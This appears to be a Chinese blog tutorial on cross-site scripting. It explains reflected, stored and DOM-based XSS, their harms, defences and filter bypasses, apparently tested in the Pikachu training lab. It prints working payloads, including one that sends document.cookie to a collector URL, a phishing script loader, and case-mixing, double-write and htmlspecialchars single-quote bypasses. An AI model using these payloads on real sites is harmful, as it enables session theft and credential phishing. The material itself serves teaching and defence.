XSS跨站脚本攻击原理及示例

本文详细介绍了XSS攻击的概念、原理,包括反射型、存储型和DOM型的不同,展示了攻击场景和可能的危害。同时探讨了XSS防御策略,如输入过滤、编码和使用WAF,以及绕过方法和htmlspecialchars函数的使用。
摘要由CSDN通过智能技术生成

XSS全称(Cross Site Scripting)跨站脚本攻击,为了避免和CSS层叠样式表名称冲突,所以改为了XSS,是最常见的Web应用程序安全漏洞之一。

攻击者利用网站漏洞,通过在网站中注入恶意脚本,用户在访问该网站时候受到攻击,通常为JavaScript代码。

XSS原理

由于开发人员没有对输入输出数据做严格的过滤控制,导致恶意脚本注入到网页中,当其他用户访问该网页时被浏览器当作有效代码解析执行,从而产生危害。XSS攻击属于客户端攻击,最终受害者是用户。

XSS注入场景

一般在各类的社交平台,邮件系统,开源流行的Web应用,BBS,微博等场景中。

通常会在Web应用程序的输入框、评论框、搜索框等可输入内容的地方输入特定的脚本代码,这些代码可以被Web应用程序直接插入到网页中,导致访问网页的所有用户都会受到攻击。

XSS危害

盗取用户敏感信息

攻击者可以通过注入的恶意脚本盗取用户名、密码、cookie、sessionid,键盘记录等,发送至攻击者控制的网站或服务器中。

篡改用户页面内容

攻击者可以通过注入的恶意脚本修改网页中的文本、图片、链接等内容,从而欺骗用户,引诱用户进行一些不安全的操作,如点击链接、下载附件等。

XSS分类

反射型XSS

反射型XSS攻击又被称为非持久化跨站脚本攻击,交互数据不会存储在数据库里,把用户输入的数据反射给浏览器,一次性的。

弹窗提示,payload(攻击载荷)

<script>alert("xss")</script>
弹窗提示xss

 获取用户cookie,payload(攻击载荷)

'"><script>document.location = 'http://172.28.25.41/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>

 

存储型XSS

存储型XSS攻击又被称为持久化跨站脚本攻击,交互数据存储在数据库里,永久性存储,用户每次访问,恶意脚本都会自动执行。

xss钓鱼,payload(攻击载荷)

'"><script src="http://172.28.25.41/pikachu/pkxss/xfish/fish.php"></script>'

测试环境配置 ,fish.php文件修改自己的IP地址

在留言板内注入payload 

 任何用户访问此页面,都会提示输入用户名密码

 登录后台

查看钓鱼结果 

DOM 型XSS

文档对象模型(Document Object Model,简称DOM),DOM是W3C组织制定的一个标准接口,DOM提供了对整个文档的访问模型,将文档作为一个树形结构,树的每个结点表示了一个HTML标签或标签内的文本项。不予数据库交互,仅仅涉及浏览器的xss,特殊的反射型xss。

弹窗提示,payload(攻击载荷)

'><img src="#" onmouseover="alert('xss')">

XSS防御

  1.  对输入进行过滤,对输入进行编码。
  2. 使用参数化查询或预处理语句。
  3. 使用WAF

XSS绕过

前端绕过

  1. 前端绕过可以尝试抓包重放。
  2. 修改前端html代码

后端绕过

  1. 可以尝试大小写混合绕过。
    '"><sCRipT>alert('XSS')</sCrIPt>
  2. 可以尝试双写绕过。
    '"><sc<script>ript>alert('XSS')</scr<script>ipt>

htmlspecialchars()函数 

 htmlspecialchars()函数的作用将输入内容转换为HTML实体。

语法:htmlspecialchars(string,flags,character-set,double_encode)
预定义的字符是:
 & (和号)  成为 &amp
 " (双引号)成为 &quot
 ’ (单引号)成为 &#039
 < (小于)  成为 &lt
 > (大于)  成为 &gt

导致script标签再输出的时候变成了&ltscript&gt

过滤原理

htmlspecialchars() 函数把预定义的字符转换为 HTML 实体,从而使XSS攻击失效。但是这个函数默认配置不会将单引号和双引号过滤,只有设置了quotestyle规定如何编码单引号和双引号才能会过滤掉单引号。

ENT_COMPAT - 默认。仅编码双引号,也就是默认情况下不对单引号进行处理
ENT_QUOTES - 编码双引号和单引号
ENT_NOQUOTES - 不编码任何引号

单引号绕过htmlspecialchars()的payload

x' onclick='alexrt(111)'

 

  • 48
    点赞
  • 36
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值